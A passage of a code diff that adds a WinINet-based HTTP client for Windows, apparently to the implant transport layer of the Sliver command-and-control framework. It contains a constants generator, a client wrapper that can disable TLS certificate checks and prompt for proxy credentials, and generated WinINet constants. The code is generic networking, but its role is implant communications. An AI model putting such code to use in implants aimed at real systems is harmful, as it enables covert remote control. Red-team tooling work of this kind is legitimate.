+            panic(e)
+        }
+    }
+
+    fmt.Println(res.Status)
+    for k, vs := range res.Header {
+        for _, v := range vs {
+            fmt.Printf("%s: %s\n", k, v)
+        }
+    }
+    if len(b) > 0 {
+        fmt.Println(string(b))
+    }
+
+    if len(res.Cookies()) > 0 {
+        fmt.Println()
+        fmt.Println("# COOKIEJAR")
+    }
+
+    for _, cookie := range res.Cookies() {
+        fmt.Printf("%s = %s\n", cookie.Name, cookie.Value)
+    }
+}
+```
+
+## Links
+
+- [Source](https://gitlab.com/mjwhitta/win)
+
+## TODO
+
+- Mirror `net/http` as close as possible
+    - CookieJar for the Client
+    - etc...
+- WinINet
+    - FTP client

implant/sliver/transports/httpclient/drivers/win/tools/defines.go

@@ -0,0 +1,249 @@
+package main
+
+import (
+	"flag"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"os/user"
+	"path/filepath"
+	"sort"
+	"strings"
+)
+
+func format(str string) string {
+	if !strings.Contains(str, "_") {
+		return str
+	}
+
+	str = strings.ReplaceAll(strings.ToLower(str), "_", " ")
+	str = strings.ReplaceAll(strings.Title(str), " ", "")
+	str = strings.ReplaceAll(str, "Crlf", "CRLF")
+	str = strings.ReplaceAll(str, "Http", "HTTP")
+
+	return str
+}
+
+func genFile(
+	pkg string,
+	cache map[string]string,
+	lines [][]string,
+) error {
+	var err error
+	var file string = "generated.go"
+	var g *os.File
+	var sorted []string
+
+	if g, err = os.Create(file); err != nil {
+		return fmt.Errorf("failed to create %s: %w", file, err)
+	}
+	defer g.Close()
+
+	g.WriteString(
+		"// Code generated by tools/defines.go; DO NOT EDIT.\n",
+	)
+	g.WriteString("package " + pkg + "\n\n")
+	g.WriteString("const (\n")
+
+	for k := range cache {
+		sorted = append(sorted, k)
+	}
+
+	sort.Slice(
+		sorted,
+		func(i int, j int) bool {
+			return len(sorted[i]) > len(sorted[j])
+		},
+	)
+
+	for _, line := range lines {
+		for _, k := range sorted {
+			line[1] = strings.ReplaceAll(line[1], k, cache[k])
+		}
+
+		if strings.HasPrefix(line[1], "\"") {
+			g.WriteString(
+				fmt.Sprintf("\t%s string = %s\n", line[0], line[1]),
+			)
+		} else if strings.HasPrefix(line[1], "L\"") {
+			g.WriteString(
+				fmt.Sprintf(
+					"\t%s string = %s\n",
+					line[0],
+					strings.Replace(line[1], "L", "", 1),
+				),
+			)
+		} else if strings.HasPrefix(line[1], "TEXT(") {
+			line[1] = strings.Replace(line[1], "TEXT(", "", 1)
+			line[1] = strings.Replace(line[1], ")", "", 1)
+
+			g.WriteString(
+				fmt.Sprintf("\t%s string = %s\n", line[0], line[1]),
+			)
+		} else {
+			g.WriteString(
+				fmt.Sprintf("\t%s uintptr = %s\n", line[0], line[1]),
+			)
+		}
+	}
+
+	g.WriteString(")\n")
+
+	return nil
+}
+
+func init() {
+	flag.Parse()
+}
+
+func main() {
+	var cache = map[string]string{
+		"NULL":   "0",
+		"sizeof": "len",
+	}
+	var lines [][]string
+
+	if flag.NArg() == 0 {
+		return
+	}
+
+	for i, arg := range flag.Args() {
+		if (i == 0) || !DoesExist(arg) {
+			continue
+		}
+
+		if err := processFile(&cache, &lines, arg); err != nil {
+			panic(err)
+		}
+	}
+
+	if err := genFile(flag.Arg(0), cache, lines); err != nil {
+		panic(err)
+	}
+}
+
+func processFile(
+	cache *map[string]string,
+	lines *[][]string,
+	file string,
+) error {
+	var b []byte
+	var err error
+	var f *os.File
+	var fullLine string
+	var tmp []string
+
+	if f, err = os.Open(ExpandPath(file)); err != nil {
+		return fmt.Errorf("failed to open %s: %w", file, err)
+	}
+	defer f.Close()
+
+	if b, err = ioutil.ReadAll(f); err != nil {
+		return fmt.Errorf("failed to read %s: %w", file, err)
+	}
+
+	for _, line := range strings.Split(string(b), "\n") {
+		line = strings.TrimSpace(line)
+
+		if strings.HasSuffix(line, "\\") {
+			fullLine += line[:len(line)-1]
+			continue
+		} else {
+			fullLine += line
+		}
+
+		line = fullLine
+		fullLine = ""
+
+		if !strings.HasPrefix(line, "#define") {
+			continue
+		}
+
+		line = strings.Replace(line, "#define ", "", 1)
+		tmp = strings.SplitN(line, " ", 2)
+
+		if (len(tmp) != 2) ||
+			strings.Contains(tmp[0], "(") ||
+			strings.Contains(tmp[0], ")") ||
+			strings.Contains(tmp[1], "~") ||
+			strings.Contains(tmp[1], "_(") ||
+			strings.Contains(tmp[1], "DWORD") ||
+			strings.Contains(tmp[1], "EXTERN_C") ||
+			strings.Contains(tmp[1], "__MINGW_NAME") ||
+			(tmp[0]+"W" == tmp[1]) {
+			continue
+		}
+
+		(*cache)[tmp[0]] = format(tmp[0])
+		*lines = append(*lines, []string{format(tmp[0]), tmp[1]})
+	}
+
+	return nil
+}
+
+// DoesExist returns true if the specified path exists on disk, false
+// otherwise.
+func DoesExist(path string) bool {
+	if _, err := os.Stat(ExpandPath(path)); err == nil {
+		return true
+	} else if os.IsNotExist(err) {
+		return false
+	} else {
+		panic(err)
+	}
+}
+
+// ExpandPath will expand the specified path accounting for ~ or ~user
+// shortcuts as well as ENV vars.
+func ExpandPath(path string) string {
+	var err error
+	var sep int
+	var usr *user.User
+
+	// Fix separators
+	path = filepath.Clean(path)
+
+	// Expand ENV vars
+	path = os.ExpandEnv(path)
+
+	// Expand ~
+	if strings.HasPrefix(path, "~") {
+		sep = strings.Index(path, string(filepath.Separator))
+
+		switch sep {
+		case -1:
+			// If just ~
+			if path == "~" {
+				if usr, err = user.Current(); err != nil {
+					return path
+				}
+			} else {
+				// If ~user shortcut
+				if usr, err = user.Lookup(path[1:]); err != nil {
+					return path
+				}
+			}
+
+			path = ""
+		case 1:
+			// If path starting with ~/
+			if usr, err = user.Current(); err != nil {
+				return path
+			}
+
+			path = path[2:]
+		default:
+			// If ~user/ shortcut
+			if usr, err = user.Lookup(path[1:sep]); err != nil {
+				return path
+			}
+
+			path = path[sep+1:]
+		}
+
+		return filepath.Join(usr.HomeDir, path)
+	}
+
+	// Otherwise just return path
+	return path
+}

implant/sliver/transports/httpclient/drivers/win/wininet/client_generic.go

@@ -0,0 +1,38 @@
+//go:build !windows
+// +build !windows
+
+package http
+
+import "errors"
+
+// Client is an empty struct, if not Windows.
+type Client struct{}
+
+// NewClient is only supported on Windows.
+func NewClient() (*Client, error) {
+	return &Client{}, errors.New("unsupported OS")
+}
+
+// Do is only supported on Windows.
+func (c *Client) Do(r *Request) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}
+
+// Get is only supported on Windows.
+func (c *Client) Get(url string) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}
+
+// Head is only supported on Windows.
+func (c *Client) Head(url string) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}
+
+// Post is only supported on Windows.
+func (c *Client) Post(
+	url string,
+	contentType string,
+	body []byte,
+) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}

implant/sliver/transports/httpclient/drivers/win/wininet/client_windows.go

@@ -0,0 +1,234 @@
+package wininet
+
+import (
+	"encoding/binary"
+	"fmt"
+	"io/ioutil"
+	"net/http"
+	"net/url"
+	"sync"
+	"time"
+)
+
+const (
+	FLAGS_ERROR_UI_FILTER_FOR_ERRORS    uint32 = 0x01
+	FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS uint32 = 0x02
+	FLAGS_ERROR_UI_FLAGS_GENERATE_DATA  uint32 = 0x04
+	INTERNET_ERROR_BASE                 uint32 = 12000
+	ERROR_INTERNET_INCORRECT_PASSWORD   uint32 = INTERNET_ERROR_BASE + 14
+	ERROR_INTERNET_FORCE_RETRY          uint32 = INTERNET_ERROR_BASE + 32
+)
+
+// Client is a struct containing relevant metadata to make HTTP
+// requests.
+type Client struct {
+	handle          uintptr
+	Timeout         time.Duration
+	TLSClientConfig struct {
+		InsecureSkipVerify bool
+	}
+	CookieJar     *Jar
+	AskProxyCreds bool
+}
+
+// NewClient will return a pointer to a new Client instance that
+// simply wraps the net/http.Client type.
+func NewClient(userAgent string) (*Client, error) {
+	var client = &Client{
+		CookieJar: cookieJar(),
+	}
+	var err error
+
+	// Create session
+	client.handle, err = InternetOpenW(
+		userAgent,
+		InternetOpenTypePreconfig,
+		"",
+		"",
+		0,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("failed to create session: %w", err)
+	}
+	return client, nil
+}
+
+// Do will send the HTTP request and return an HTTP response.
+func (c *Client) Do(request *http.Request) (*http.Response, error) {
+	var buf []byte
+	var err error
+	var reqHandle uintptr
+	var resp *Response
+
+	var rawBody []byte
+	if request.Body != nil {
+		rawBody, err = ioutil.ReadAll(request.Body)
+		if err != nil {
+			return nil, fmt.Errorf("failed to read request body: %w", err)
+		}
+	}
+
+	headers := make(map[string]string)
+	for headerName, headerValue := range request.Header {
+		if 0 < len(headerValue) {
+			headers[headerName] = headerValue[0]
+		}
+	}
+	req := &Request{
+		Method:  request.Method,
+		URL:     request.URL.String(),
+		Headers: headers,
+		Body:    rawBody,
+	}
+
+	if reqHandle, err = buildRequest(c.handle, req); err != nil {
+		return nil, err
+	}
+
+	if c.Timeout > 0 {
+		buf = make([]byte, 4)
+		binary.LittleEndian.PutUint32(
+			buf,
+			uint32(c.Timeout.Milliseconds()),
+		)
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionConnectTimeout,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set connect timeout: %w", err)
+			return nil, err
+		}
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionReceiveTimeout,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set receive timeout: %w", err)
+			return nil, err
+		}
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionSendTimeout,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set send timeout: %w", err)
+			return nil, err
+		}
+	}
+
+	if c.TLSClientConfig.InsecureSkipVerify {
+		buf = make([]byte, 4)
+		binary.LittleEndian.PutUint32(
+			buf,
+			uint32(SecuritySetMask),
+		)
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionSecurityFlags,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set security flags: %w", err)
+			return nil, err
+		}
+	}
+
+	for _, cookie := range c.CookieJar.Cookies(request.URL) {
+		req.AddCookie(cookie)
+	}
+
+	if err = sendRequest(reqHandle, req); err != nil {
+		return nil, err
+	}
+
+	if resp, err = buildResponse(reqHandle, req); err != nil {
+		return nil, err
+	}
+
+	if c.AskProxyCreds {
+		if resp.StatusCode == 407 {
+			err := promptUserPassword(reqHandle)
+			if err != nil {
+				return nil, err
+			}
+			if err = sendRequest(reqHandle, req); err != nil {
+				return nil, err
+			}
+			if resp, err = buildResponse(reqHandle, req); err != nil {
+				return nil, err
+			}
+		}
+	}
+
+	c.CookieJar.cookies = resp.Cookies()
+
+	return &http.Response{
+		Status:        resp.Status,
+		StatusCode:    resp.StatusCode,
+		Proto:         "HTTP/1.1",
+		ProtoMajor:    1,
+		ProtoMinor:    1,
+		Body:          resp.Body,
+		ContentLength: resp.ContentLength,
+		Request:       request,
+		Header:        make(http.Header),
+	}, nil
+}
+
+func promptUserPassword(reqHandle uintptr) error {
+	var lppvData []byte
+	dwError := ERROR_INTERNET_INCORRECT_PASSWORD
+	dwFlags := FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA
+	_, err := InternetErrorDlg(GetDesktopWindow(), reqHandle, dwError, dwFlags, &lppvData)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+// Jar - CookieJar implementation that ignores domains/origins
+type Jar struct {
+	lk      sync.Mutex
+	cookies []*Cookie
+}
+
+func cookieJar() *Jar {
+	return &Jar{
+		lk:      sync.Mutex{},
+		cookies: []*Cookie{},
+	}
+}
+
+// NewJar - Get a new instance of a cookie jar
+func NewJar() *Jar {
+	jar := new(Jar)
+	jar.cookies = make([]*Cookie, 0)
+	return jar
+}
+
+// SetCookies handles the receipt of the cookies in a reply for the
+// given URL (which is ignored).
+func (jar *Jar) SetCookies(u *url.URL, cookies []*Cookie) {
+	jar.lk.Lock()
+	jar.cookies = append(jar.cookies, cookies...)
+	jar.lk.Unlock()
+}
+
+// Cookies returns the cookies to send in a request for the given URL.
+// It is up to the implementation to honor the standard cookie use
+// restrictions such as in RFC 6265 (which we do not).
+func (jar *Jar) Cookies(u *url.URL) []*Cookie {
+	return jar.cookies
+}

implant/sliver/transports/httpclient/drivers/win/wininet/cookie.go

@@ -0,0 +1,8 @@
+package wininet
+
+// Cookie represents an HTTP cookie sent in the Cookie header of an
+// HTTP Request.
+type Cookie struct {
+	Name  string
+	Value string
+}

implant/sliver/transports/httpclient/drivers/win/wininet/generated.go

@@ -0,0 +1,706 @@
+// Code generated by tools/defines.go; DO NOT EDIT.
+package wininet
+
+const (
+	InternetInvalidPortNumber                      uintptr = 0
+	InternetDefaultFtpPort                         uintptr = 21
+	InternetDefaultGopherPort                      uintptr = 70
+	InternetDefaultHTTPPort                        uintptr = 80
+	InternetDefaultHTTPsPort                       uintptr = 443
+	InternetDefaultSocksPort                       uintptr = 1080
+	InternetMaxHostNameLength                      uintptr = 256
+	InternetMaxUserNameLength                      uintptr = 128
+	InternetMaxPasswordLength                      uintptr = 128
+	InternetMaxPortNumberLength                    uintptr = 5
+	InternetMaxPortNumberValue                     uintptr = 65535
+	InternetMaxPathLength                          uintptr = 2048
+	InternetMaxSchemeLength                        uintptr = 32
+	InternetMaxUrlLength                           uintptr = (InternetMaxSchemeLength + uintptr(len("://")) + InternetMaxPathLength)
+	InternetKeepAliveEnabled                       uintptr = 1
+	InternetKeepAliveDisabled                      uintptr = 0
+	InternetReqflagFromCache                       uintptr = 0x00000001
+	InternetReqflagAsync                           uintptr = 0x00000002
+	InternetReqflagViaProxy                        uintptr = 0x00000004
+	InternetReqflagNoHeaders                       uintptr = 0x00000008
+	InternetReqflagPassive                         uintptr = 0x00000010
+	InternetReqflagCacheWriteDisabled              uintptr = 0x00000040
+	InternetReqflagNetTimeout                      uintptr = 0x00000080
+	InternetFlagReload                             uintptr = 0x80000000
+	InternetFlagRawData                            uintptr = 0x40000000
+	InternetFlagExistingConnect                    uintptr = 0x20000000
+	InternetFlagAsync                              uintptr = 0x10000000
+	InternetFlagPassive                            uintptr = 0x08000000
+	InternetFlagNoCacheWrite                       uintptr = 0x04000000
+	InternetFlagDontCache                          uintptr = InternetFlagNoCacheWrite
+	InternetFlagMakePersistent                     uintptr = 0x02000000
+	InternetFlagFromCache                          uintptr = 0x01000000
+	InternetFlagOffline                            uintptr = InternetFlagFromCache
+	InternetFlagSecure                             uintptr = 0x00800000
+	InternetFlagKeepConnection                     uintptr = 0x00400000
+	InternetFlagNoAutoRedirect                     uintptr = 0x00200000
+	InternetFlagReadPrefetch                       uintptr = 0x00100000
+	InternetFlagNoCookies                          uintptr = 0x00080000
+	InternetFlagNoAuth                             uintptr = 0x00040000
+	InternetFlagRestrictedZone                     uintptr = 0x00020000
+	InternetFlagCacheIfNetFail                     uintptr = 0x00010000
+	InternetFlagIgnoreRedirectToHTTP               uintptr = 0x00008000
+	InternetFlagIgnoreRedirectToHTTPs              uintptr = 0x00004000
+	InternetFlagIgnoreCertDateInvalid              uintptr = 0x00002000
+	InternetFlagIgnoreCertCnInvalid                uintptr = 0x00001000
+	InternetFlagResynchronize                      uintptr = 0x00000800
+	InternetFlagHyperlink                          uintptr = 0x00000400
+	InternetFlagNoUi                               uintptr = 0x00000200
+	InternetFlagPragmaNocache                      uintptr = 0x00000100
+	InternetFlagCacheAsync                         uintptr = 0x00000080
+	InternetFlagFormsSubmit                        uintptr = 0x00000040
+	InternetFlagFwdBack                            uintptr = 0x00000020
+	InternetFlagNeedFile                           uintptr = 0x00000010
+	InternetFlagMustCacheRequest                   uintptr = InternetFlagNeedFile
+	InternetFlagTransferAscii                      uintptr = FtpTransferTypeAscii
+	InternetFlagTransferBinary                     uintptr = FtpTransferTypeBinary
+	SecurityInternetMask                           uintptr = (InternetFlagIgnoreCertCnInvalid | InternetFlagIgnoreCertDateInvalid | InternetFlagIgnoreRedirectToHTTPs | InternetFlagIgnoreRedirectToHTTP)
+	InternetFlagsMask                              uintptr = (InternetFlagReload | InternetFlagRawData | InternetFlagExistingConnect | InternetFlagAsync | InternetFlagPassive | InternetFlagNoCacheWrite | InternetFlagMakePersistent | InternetFlagFromCache | InternetFlagSecure | InternetFlagKeepConnection | InternetFlagNoAutoRedirect | InternetFlagReadPrefetch | InternetFlagNoCookies | InternetFlagNoAuth | InternetFlagCacheIfNetFail | SecurityInternetMask | InternetFlagResynchronize | InternetFlagHyperlink | InternetFlagNoUi | InternetFlagPragmaNocache | InternetFlagCacheAsync | InternetFlagFormsSubmit | InternetFlagNeedFile | InternetFlagRestrictedZone | InternetFlagTransferBinary | InternetFlagTransferAscii | InternetFlagFwdBack)
+	InternetErrorMaskInsertCdrom                   uintptr = 0x1
+	InternetErrorMaskCombinedSecCert               uintptr = 0x2
+	InternetErrorMaskNeedMsnSspiPkg                uintptr = 0x4
+	InternetErrorMaskLoginFailureDisplayEntityBody uintptr = 0x8
+	WininetApiFlagAsync                            uintptr = 0x00000001
+	WininetApiFlagSync                             uintptr = 0x00000004
+	WininetApiFlagUseContext                       uintptr = 0x00000008
+	InternetNoCallback                             uintptr = 0
+	IdsiFlagKeepAlive                              uintptr = 0x00000001
+	IdsiFlagSecure                                 uintptr = 0x00000002
+	IdsiFlagProxy                                  uintptr = 0x00000004
+	IdsiFlagTunnel                                 uintptr = 0x00000008
+	InternetPerConnFlags                           uintptr = 1
+	InternetPerConnProxyServer                     uintptr = 2
+	InternetPerConnProxyBypass                     uintptr = 3
+	InternetPerConnAutoconfigUrl                   uintptr = 4
+	InternetPerConnAutodiscoveryFlags              uintptr = 5
+	InternetPerConnAutoconfigSecondaryUrl          uintptr = 6
+	InternetPerConnAutoconfigReloadDelayMins       uintptr = 7
+	InternetPerConnAutoconfigLastDetectTime        uintptr = 8
+	InternetPerConnAutoconfigLastDetectUrl         uintptr = 9
+	InternetPerConnFlagsUi                         uintptr = 10
+	ProxyTypeDirect                                uintptr = 0x00000001
+	ProxyTypeProxy                                 uintptr = 0x00000002
+	ProxyTypeAutoProxyUrl                          uintptr = 0x00000004
+	ProxyTypeAutoDetect                            uintptr = 0x00000008
+	AutoProxyFlagUserSet                           uintptr = 0x00000001
+	AutoProxyFlagAlwaysDetect                      uintptr = 0x00000002
+	AutoProxyFlagDetectionRun                      uintptr = 0x00000004
+	AutoProxyFlagMigrated                          uintptr = 0x00000008
+	AutoProxyFlagDontCacheProxyResult              uintptr = 0x00000010
+	AutoProxyFlagCacheInitRun                      uintptr = 0x00000020
+	AutoProxyFlagDetectionSuspect                  uintptr = 0x00000040
+	IsoForceDisconnected                           uintptr = 0x00000001
+	InternetRfc1123Format                          uintptr = 0
+	InternetRfc1123Bufsize                         uintptr = 30
+	IcuEscape                                      uintptr = 0x80000000
+	IcuUsername                                    uintptr = 0x40000000
+	IcuNoEncode                                    uintptr = 0x20000000
+	IcuDecode                                      uintptr = 0x10000000
+	IcuNoMeta                                      uintptr = 0x08000000
+	IcuEncodeSpacesOnly                            uintptr = 0x04000000
+	IcuBrowserMode                                 uintptr = 0x02000000
+	IcuEncodePercent                               uintptr = 0x00001000
+	InternetOpenTypePreconfig                      uintptr = 0
+	InternetOpenTypeDirect                         uintptr = 1
+	InternetOpenTypeProxy                          uintptr = 3
+	InternetOpenTypePreconfigWithNoAutoproxy       uintptr = 4
+	PreConfigInternetAccess                        uintptr = InternetOpenTypePreconfig
+	LocalInternetAccess                            uintptr = InternetOpenTypeDirect
+	CernProxyInternetAccess                        uintptr = InternetOpenTypeProxy
+	InternetServiceFtp                             uintptr = 1
+	InternetServiceGopher                          uintptr = 2
+	InternetServiceHTTP                            uintptr = 3
+	IrfAsync                                       uintptr = WininetApiFlagAsync
+	IrfSync                                        uintptr = WininetApiFlagSync
+	IrfUseContext                                  uintptr = WininetApiFlagUseContext
+	IrfNoWait                                      uintptr = 0x00000008
+	IsoGlobal                                      uintptr = 0x00000001
+	IsoRegistry                                    uintptr = 0x00000002
+	IsoValidFlags                                  uintptr = (IsoGlobal | IsoRegistry)
+	InternetOptionCallback                         uintptr = 1
+	InternetOptionConnectTimeout                   uintptr = 2
+	InternetOptionConnectRetries                   uintptr = 3
+	InternetOptionConnectBackoff                   uintptr = 4
+	InternetOptionSendTimeout                      uintptr = 5
+	InternetOptionControlSendTimeout               uintptr = InternetOptionSendTimeout
+	InternetOptionReceiveTimeout                   uintptr = 6
+	InternetOptionControlReceiveTimeout            uintptr = InternetOptionReceiveTimeout
+	InternetOptionDataSendTimeout                  uintptr = 7
+	InternetOptionDataReceiveTimeout               uintptr = 8
+	InternetOptionHandleType                       uintptr = 9
+	InternetOptionListenTimeout                    uintptr = 11
+	InternetOptionReadBufferSize                   uintptr = 12
+	InternetOptionWriteBufferSize                  uintptr = 13
+	InternetOptionAsyncId                          uintptr = 15
+	InternetOptionAsyncPriority                    uintptr = 16
+	InternetOptionParentHandle                     uintptr = 21
+	InternetOptionKeepConnection                   uintptr = 22
+	InternetOptionRequestFlags                     uintptr = 23
+	InternetOptionExtendedError                    uintptr = 24
+	InternetOptionOfflineMode                      uintptr = 26
+	InternetOptionCacheStreamHandle                uintptr = 27
+	InternetOptionUsername                         uintptr = 28
+	InternetOptionPassword                         uintptr = 29
+	InternetOptionAsync                            uintptr = 30
+	InternetOptionSecurityFlags                    uintptr = 31
+	InternetOptionSecurityCertificateStruct        uintptr = 32
+	InternetOptionDatafileName                     uintptr = 33
+	InternetOptionUrl                              uintptr = 34
+	InternetOptionSecurityCertificate              uintptr = 35
+	InternetOptionSecurityKeyBitness               uintptr = 36
+	InternetOptionRefresh                          uintptr = 37
+	InternetOptionProxy                            uintptr = 38
+	InternetOptionSettingsChanged                  uintptr = 39
+	InternetOptionVersion                          uintptr = 40
+	InternetOptionUserAgent                        uintptr = 41
+	InternetOptionEndBrowserSession                uintptr = 42
+	InternetOptionProxyUsername                    uintptr = 43
+	InternetOptionProxyPassword                    uintptr = 44
+	InternetOptionContextValue                     uintptr = 45
+	InternetOptionConnectLimit                     uintptr = 46
+	InternetOptionSecuritySelectClientCert         uintptr = 47
+	InternetOptionPolicy                           uintptr = 48
+	InternetOptionDisconnectedTimeout              uintptr = 49
+	InternetOptionConnectedState                   uintptr = 50
+	InternetOptionIdleState                        uintptr = 51
+	InternetOptionOfflineSemantics                 uintptr = 52
+	InternetOptionSecondaryCacheKey                uintptr = 53
+	InternetOptionCallbackFilter                   uintptr = 54
+	InternetOptionConnectTime                      uintptr = 55
+	InternetOptionSendThroughput                   uintptr = 56
+	InternetOptionReceiveThroughput                uintptr = 57
+	InternetOptionRequestPriority                  uintptr = 58
+	InternetOptionHTTPVersion                      uintptr = 59
+	InternetOptionResetUrlcacheSession             uintptr = 60
+	InternetOptionErrorMask                        uintptr = 62
+	InternetOptionFromCacheTimeout                 uintptr = 63
+	InternetOptionBypassEditedEntry                uintptr = 64
+	InternetOptionDiagnosticSocketInfo             uintptr = 67
+	InternetOptionCodepage                         uintptr = 68
+	InternetOptionCacheTimestamps                  uintptr = 69
+	InternetOptionDisableAutodial                  uintptr = 70
+	InternetOptionMaxConnsPerServer                uintptr = 73
+	InternetOptionMaxConnsPer10Server              uintptr = 74
+	InternetOptionPerConnectionOption              uintptr = 75
+	InternetOptionDigestAuthUnload                 uintptr = 76
+	InternetOptionIgnoreOffline                    uintptr = 77
+	InternetOptionIdentity                         uintptr = 78
+	InternetOptionRemoveIdentity                   uintptr = 79
+	InternetOptionAlterIdentity                    uintptr = 80
+	InternetOptionSuppressBehavior                 uintptr = 81
+	InternetOptionAutodialMode                     uintptr = 82
+	InternetOptionAutodialConnection               uintptr = 83
+	InternetOptionClientCertContext                uintptr = 84
+	InternetOptionAuthFlags                        uintptr = 85
+	InternetOptionCookies3rdParty                  uintptr = 86
+	InternetOptionDisablePassportAuth              uintptr = 87
+	InternetOptionSendUtf8ServernameToProxy        uintptr = 88
+	InternetOptionExemptConnectionLimit            uintptr = 89
+	InternetOptionEnablePassportAuth               uintptr = 90
+	InternetOptionHibernateInactiveWorkerThreads   uintptr = 91
+	InternetOptionActivateWorkerThreads            uintptr = 92
+	InternetOptionRestoreWorkerThreadDefaults      uintptr = 93
+	InternetOptionSocketSendBufferLength           uintptr = 94
+	InternetOptionProxySettingsChanged             uintptr = 95
+	InternetOptionDatafileExt                      uintptr = 96
+	InternetFirstOption                            uintptr = InternetOptionCallback
+	InternetLastOption                             uintptr = InternetOptionDatafileExt
+	InternetPriorityForeground                     uintptr = 1000
+	InternetHandleTypeInternet                     uintptr = 1
+	InternetHandleTypeConnectFtp                   uintptr = 2
+	InternetHandleTypeConnectGopher                uintptr = 3
+	InternetHandleTypeConnectHTTP                  uintptr = 4
+	InternetHandleTypeFtpFind                      uintptr = 5
+	InternetHandleTypeFtpFindHtml                  uintptr = 6
+	InternetHandleTypeFtpFile                      uintptr = 7
+	InternetHandleTypeFtpFileHtml                  uintptr = 8
+	InternetHandleTypeGopherFind                   uintptr = 9
+	InternetHandleTypeGopherFindHtml               uintptr = 10
+	InternetHandleTypeGopherFile                   uintptr = 11
+	InternetHandleTypeGopherFileHtml               uintptr = 12
+	InternetHandleTypeHTTPRequest                  uintptr = 13
+	InternetHandleTypeFileRequest                  uintptr = 14
+	AuthFlagDisableNegotiate                       uintptr = 0x00000001
+	AuthFlagEnableNegotiate                        uintptr = 0x00000002
+	AuthFlagDisableBasicClearchannel               uintptr = 0x00000004
+	SecurityFlagSecure                             uintptr = 0x00000001
+	SecurityFlagStrengthWeak                       uintptr = 0x10000000
+	SecurityFlagStrengthMedium                     uintptr = 0x40000000
+	SecurityFlagStrengthStrong                     uintptr = 0x20000000
+	SecurityFlagUnknownbit                         uintptr = 0x80000000
+	SecurityFlagFortezza                           uintptr = 0x08000000
+	SecurityFlagNormalbitness                      uintptr = SecurityFlagStrengthWeak
+	SecurityFlagSsl                                uintptr = 0x00000002
+	SecurityFlagSsl3                               uintptr = 0x00000004
+	SecurityFlagPct                                uintptr = 0x00000008
+	SecurityFlagPct4                               uintptr = 0x00000010
+	SecurityFlagIetfssl4                           uintptr = 0x00000020
+	SecurityFlag40bit                              uintptr = SecurityFlagStrengthWeak
+	SecurityFlag128bit                             uintptr = SecurityFlagStrengthStrong
+	SecurityFlag56bit                              uintptr = SecurityFlagStrengthMedium
+	SecurityFlagIgnoreRevocation                   uintptr = 0x00000080
+	SecurityFlagIgnoreUnknownCa                    uintptr = 0x00000100
+	SecurityFlagIgnoreWrongUsage                   uintptr = 0x00000200
+	SecurityFlagIgnoreCertCnInvalid                uintptr = InternetFlagIgnoreCertCnInvalid
+	SecurityFlagIgnoreCertDateInvalid              uintptr = InternetFlagIgnoreCertDateInvalid
+	SecurityFlagIgnoreRedirectToHTTPs              uintptr = InternetFlagIgnoreRedirectToHTTPs
+	SecurityFlagIgnoreRedirectToHTTP               uintptr = InternetFlagIgnoreRedirectToHTTP
+	SecuritySetMask                                uintptr = (SecurityFlagIgnoreRevocation | SecurityFlagIgnoreUnknownCa | SecurityFlagIgnoreCertCnInvalid | SecurityFlagIgnoreCertDateInvalid | SecurityFlagIgnoreWrongUsage)
+	AutodialModeNever                              uintptr = 1
+	AutodialModeAlways                             uintptr = 2
+	AutodialModeNoNetworkPresent                   uintptr = 4
+	InternetStatusResolvingName                    uintptr = 10
+	InternetStatusNameResolved                     uintptr = 11
+	InternetStatusConnectingToServer               uintptr = 20
+	InternetStatusConnectedToServer                uintptr = 21
+	InternetStatusSendingRequest                   uintptr = 30
+	InternetStatusRequestSent                      uintptr = 31
+	InternetStatusReceivingResponse                uintptr = 40
+	InternetStatusResponseReceived                 uintptr = 41
+	InternetStatusCtlResponseReceived              uintptr = 42
+	InternetStatusPrefetch                         uintptr = 43
+	InternetStatusClosingConnection                uintptr = 50
+	InternetStatusConnectionClosed                 uintptr = 51
+	InternetStatusHandleCreated                    uintptr = 60
+	InternetStatusHandleClosing                    uintptr = 70
+	InternetStatusDetectingProxy                   uintptr = 80
+	InternetStatusRequestComplete                  uintptr = 100
+	InternetStatusRedirect                         uintptr = 110
+	InternetStatusIntermediateResponse             uintptr = 120
+	InternetStatusUserInputRequired                uintptr = 140
+	InternetStatusStateChange                      uintptr = 200
+	InternetStatusCookieSent                       uintptr = 320
+	InternetStatusCookieReceived                   uintptr = 321
+	InternetStatusPrivacyImpacted                  uintptr = 324
+	InternetStatusP3pHeader                        uintptr = 325
+	InternetStatusP3pPolicyref                     uintptr = 326
+	InternetStatusCookieHistory                    uintptr = 327
+	InternetStateConnected                         uintptr = 0x00000001
+	InternetStateDisconnected                      uintptr = 0x00000002
+	InternetStateDisconnectedByUser                uintptr = 0x00000010
+	InternetStateIdle                              uintptr = 0x00000100
+	InternetStateBusy                              uintptr = 0x00000200
+	FtpTransferTypeUnknown                         uintptr = 0x00000000
+	FtpTransferTypeAscii                           uintptr = 0x00000001
+	FtpTransferTypeBinary                          uintptr = 0x00000002
+	FtpTransferTypeMask                            uintptr = (FtpTransferTypeAscii | FtpTransferTypeBinary)
+	MaxGopherDisplayText                           uintptr = 128
+	MaxGopherSelectorText                          uintptr = 256
+	MaxGopherHostName                              uintptr = InternetMaxHostNameLength
+	MaxGopherLocatorLength                         uintptr = (1 + MaxGopherDisplayText + 1 + MaxGopherSelectorText + 1 + MaxGopherHostName + 1 + InternetMaxPortNumberLength + 1 + 1 + 2)
+	GopherTypeTextFile                             uintptr = 0x00000001
